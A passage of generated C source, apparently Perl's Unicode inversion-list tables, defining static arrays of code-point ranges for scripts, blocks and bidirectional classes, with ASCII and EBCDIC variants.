0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x1FFFE, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_AGHB_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10530, - 0x10564, - 0x1056F, - 0x10570 -}; - -static const UV PL_AHOM_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740 -}; - -static const UV PL_ALCHEMICAL_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F700, - 0x1F780 -}; - -static const UV PL_ALL_invlist[] = { /* for all charsets */ - 1, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0 -}; - -static const UV PL_ALPHABETICPF_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFB00, - 0xFB50 -}; - -static const UV PL_ANCIENTGREEKMUSIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1D200, - 0x1D250 -}; - -static const UV PL_ANCIENTGREEKNUMBERS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10140, - 0x10190 -}; - -static const UV PL_ANCIENTSYMBOLS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10190, - 0x101D0 -}; - -static const UV PL_ANY_invlist[] = { /* for all charsets */ - 2, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x110000 -}; - -static const UV PL_ARAB_invlist[] = { /* for all charsets */ - 105, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x600, - 0x605, - 0x606, - 0x61D, - 0x61E, - 0x6DD, - 0x6DE, - 0x700, - 0x750, - 0x780, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x900, - 0xFB50, - 0xFBC2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0x102E0, - 0x102FC, - 0x10E60, - 0x10E7F, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2 -}; - -static const UV PL_ARABICEXTA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8A0, - 0x900 -}; - -static const UV PL_ARABICMATH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1EE00, - 0x1EF00 -}; - -static const UV PL_ARABICPFA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFB50, - 0xFE00 -}; - -static const UV PL_ARABICPFB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFE70, - 0xFF00 -}; - -static const UV PL_ARABICSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x750, - 0x780 -}; - -static const UV PL_ARMI_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10840, - 0x10856, - 0x10857, - 0x10860 -}; - -static const UV PL_ARMN_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0xFB13, - 0xFB18 -}; - -static const UV PL_ARROWS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2190, - 0x2200 -}; - -static const UV PL_AVST_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B40 -}; - -static const UV PL_BALI_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D -}; - -static const UV PL_BAMU_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA6A0, - 0xA6F8, - 0x16800, - 0x16A39 -}; - -static const UV PL_BAMUMSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16800, - 0x16A40 -}; - -static const UV PL_BASS_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6 -}; - -static const UV PL_BATK_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1BC0, - 0x1BF4, - 0x1BFC, - 0x1C00 -}; - -static const UV PL_BC__AL_invlist[] = { /* for all charsets */ - 43, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x608, - 0x609, - 0x60B, - 0x60C, - 0x60D, - 0x60E, - 0x61B, - 0x64B, - 0x66D, - 0x670, - 0x671, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7C0, - 0x860, - 0x870, - 0x8A0, - 0x8D4, - 0xFB50, - 0xFD3E, - 0xFD40, - 0xFDD0, - 0xFDF0, - 0xFDFD, - 0xFDFE, - 0xFE00, - 0xFE70, - 0xFEFF, - 0x1EE00, - 0x1EEF0, - 0x1EEF2, - 0x1EF00 -}; - -static const UV PL_BC__AN_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x600, - 0x606, - 0x660, - 0x66A, - 0x66B, - 0x66D, - 0x6DD, - 0x6DE, - 0x8E2, - 0x8E3, - 0x10E60, - 0x10E7F -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BC__B_invlist[] = { /* for ASCII/Latin1 */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA, - 0xB, - 0xD, - 0xE, - 0x1C, - 0x1F, - 0x85, - 0x86, - 0x2029, - 0x202A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__B_invlist[] = { /* for EBCDIC 1047 */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD, - 0xE, - 0x15, - 0x16, - 0x1C, - 0x1F, - 0x25, - 0x26, - 0x2029, - 0x202A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__B_invlist[] = { /* for EBCDIC 037 */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD, - 0xE, - 0x15, - 0x16, - 0x1C, - 0x1F, - 0x25, - 0x26, - 0x2029, - 0x202A -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BC__BN_invlist[] = { /* for ASCII/Latin1 */ - 64, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xE, - 0x1C, - 0x7F, - 0x85, - 0x86, - 0xA0, - 0xAD, - 0xAE, - 0x180E, - 0x180F, - 0x200B, - 0x200E, - 0x2060, - 0x2066, - 0x206A, - 0x2070, - 0xFDD0, - 0xFDF0, - 0xFEFF, - 0xFF00, - 0xFFF0, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0100, - 0xE01F0, - 0xE1000, - 0xEFFFE, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE, - 0x110000 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__BN_invlist[] = { /* for EBCDIC 1047 */ - 70, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x15, - 0x16, - 0x1C, - 0x20, - 0x25, - 0x26, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x180E, - 0x180F, - 0x200B, - 0x200E, - 0x2060, - 0x2066, - 0x206A, - 0x2070, - 0xFDD0, - 0xFDF0, - 0xFEFF, - 0xFF00, - 0xFFF0, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0100, - 0xE01F0, - 0xE1000, - 0xEFFFE, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE, - 0x110000 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__BN_invlist[] = { /* for EBCDIC 037 */ - 70, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x15, - 0x16, - 0x1C, - 0x20, - 0x25, - 0x26, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x180E, - 0x180F, - 0x200B, - 0x200E, - 0x2060, - 0x2066, - 0x206A, - 0x2070, - 0xFDD0, - 0xFDF0, - 0xFEFF, - 0xFF00, - 0xFFF0, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0100, - 0xE01F0, - 0xE1000, - 0xEFFFE, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE, - 0x110000 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BC__CS_invlist[] = { /* for ASCII/Latin1 */ - 27, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2C, - 0x2D, - 0x2E, - 0x30, - 0x3A, - 0x3B, - 0xA0, - 0xA1, - 0x60C, - 0x60D, - 0x202F, - 0x2030, - 0x2044, - 0x2045, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE55, - 0xFE56, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF10, - 0xFF1A, - 0xFF1B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__CS_invlist[] = { /* for EBCDIC 1047 */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x4B, - 0x4C, - 0x61, - 0x62, - 0x6B, - 0x6C, - 0x7A, - 0x7B, - 0x60C, - 0x60D, - 0x202F, - 0x2030, - 0x2044, - 0x2045, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE55, - 0xFE56, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF10, - 0xFF1A, - 0xFF1B -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__CS_invlist[] = { /* for EBCDIC 037 */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x4B, - 0x4C, - 0x61, - 0x62, - 0x6B, - 0x6C, - 0x7A, - 0x7B, - 0x60C, - 0x60D, - 0x202F, - 0x2030, - 0x2044, - 0x2045, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE55, - 0xFE56, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF10, - 0xFF1A, - 0xFF1B -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BC__EN_invlist[] = { /* for ASCII/Latin1 */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0xB2, - 0xB4, - 0xB9, - 0xBA, - 0x6F0, - 0x6FA, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2488, - 0x249C, - 0xFF10, - 0xFF1A, - 0x102E1, - 0x102FC, - 0x1D7CE, - 0x1D800, - 0x1F100, - 0x1F10B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__EN_invlist[] = { /* for EBCDIC 1047 */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0x6F0, - 0x6FA, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2488, - 0x249C, - 0xFF10, - 0xFF1A, - 0x102E1, - 0x102FC, - 0x1D7CE, - 0x1D800, - 0x1F100, - 0x1F10B -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__EN_invlist[] = { /* for EBCDIC 037 */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0x6F0, - 0x6FA, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2488, - 0x249C, - 0xFF10, - 0xFF1A, - 0x102E1, - 0x102FC, - 0x1D7CE, - 0x1D800, - 0x1F100, - 0x1F10B -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BC__ES_invlist[] = { /* for ASCII/Latin1 */ - 19, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2B, - 0x2C, - 0x2D, - 0x2E, - 0x207A, - 0x207C, - 0x208A, - 0x208C, - 0x2212, - 0x2213, - 0xFB29, - 0xFB2A, - 0xFE62, - 0xFE64, - 0xFF0B, - 0xFF0C, - 0xFF0D, - 0xFF0E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__ES_invlist[] = { /* for EBCDIC 1047 */ - 19, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4E, - 0x4F, - 0x60, - 0x61, - 0x207A, - 0x207C, - 0x208A, - 0x208C, - 0x2212, - 0x2213, - 0xFB29, - 0xFB2A, - 0xFE62, - 0xFE64, - 0xFF0B, - 0xFF0C, - 0xFF0D, - 0xFF0E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__ES_invlist[] = { /* for EBCDIC 037 */ - 19, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4E, - 0x4F, - 0x60, - 0x61, - 0x207A, - 0x207C, - 0x208A, - 0x208C, - 0x2212, - 0x2213, - 0xFB29, - 0xFB2A, - 0xFE62, - 0xFE64, - 0xFF0B, - 0xFF0C, - 0xFF0D, - 0xFF0E -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BC__ET_invlist[] = { /* for ASCII/Latin1 */ - 45, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, 